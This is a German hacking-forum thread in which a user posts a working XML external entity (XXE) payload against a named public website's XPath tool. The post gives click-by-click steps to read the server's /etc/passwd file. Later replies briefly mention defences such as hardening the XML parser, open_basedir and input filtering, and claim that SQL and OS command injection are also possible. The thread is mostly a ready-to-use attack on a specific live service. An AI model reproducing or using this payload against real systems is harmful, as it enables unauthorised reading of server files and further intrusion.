utilities-online.info - xml external entity attack - Classic Hacking

Als Gast hast du nur eingeschränkten Zugriff!

Anmelden

Benutzerkonto erstellen

Du bist nicht angemeldet und hast somit nur einen sehr eingeschränkten Zugriff auf die Features unserer Community.
Um vollen Zugriff zu erlangen musst du dir einen Account erstellen. Der Vorgang sollte nicht länger als 1 Minute dauern.

Antworte auf Themen oder erstelle deine eigenen.
Schalte dir alle Downloads mit Highspeed & ohne Wartezeit frei.
Erhalte Zugriff auf alle Bereiche und entdecke interessante Inhalte.
Tausche dich mich anderen Usern in der Shoutbox oder via PN aus.

#1
Zero-X

Geschrieben 23 September 2014 - 11:49 Uhr

FTB Experte

Premium Member

Likes

127

98 Beiträge
45 Bedankt

Android
Windows, Linux

Please Login HERE or Register HERE to see this link!

Im Feld "XML" folgendes eingeben:

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

Im Feld XPath Expression:
/

Dann auf "Evalutate XPath" klicken.
Unten im grünen Feld erscheint dann die Ausgabe der angegebenen Datei.

Ch!ller gefällt das

Nach oben

Melden

Thanked by 1 Member:

#2
Xenos88

Geschrieben 23 September 2014 - 13:22 Uhr

Xenos88

Hacker

Premium Member

Likes

67

151 Beiträge

184 Bedankt

wie kann man sich vor solcher Attacke schützen ?

Nach oben

Melden

Thanked by 1 Member:

#3
ProHex

Geschrieben 23 September 2014 - 14:02 Uhr

ProHex

Hacker

Moderator

Likes

213

219 Beiträge

187 Bedankt

in dem man seine library dagegen absichert.

open_basedir wär vielleicht auch mal hilfreich

¥akuza112 gefällt das

Nach oben

Melden

Thanked by 1 Member:

#4
Zero-X

Geschrieben 24 September 2014 - 11:35 Uhr

Zero-X

FTB Experte

Premium Member

Likes

127

98 Beiträge

45 Bedankt

Android

Windows, Linux

Hier ein Link mit mehr Informationen zu der Attacke:

Please Login HERE or Register HERE to see this link!

Sie kann gegen mehrere Skriptsprachen wie php, jsp oder asp angewandt werden.
Je nach Skriptsprache hat man verschiedene Möglichkeiten die Attacke einzusetzen. Auch SQL-Injection und OS-Command-Injection ist teilweise möglich.
Um sich zu schützen muss man auf jeden Fall die Eingaben der User prüfen und filtern.

pdr0 gefällt das

Nach oben

Melden

Thanked by 1 Member:

Thema	Forum	Themenstarter	Statistik	Letzter Beitrag
WebSecNinja: Lesser Known WebAttacks †“ WSN	Tutorials	DR.zydz	1 Antwort 4468 Aufrufe	31 January 2020 - 17:11 Uhr Von: ~~Payload~~
Flood phone attack	Abgelehnt / Rejected	Diablo_Flood	1 Antwort 698 Aufrufe	22 August 2018 - 20:43 Uhr Von: Diablo_Flood
KRACK-Attacke: Forscher stellen Angriff auf WPA2 vor	News	Jacqueline	3 Antworten 4157 Aufrufe	22 October 2017 - 13:10 Uhr Von: SecurityFlaw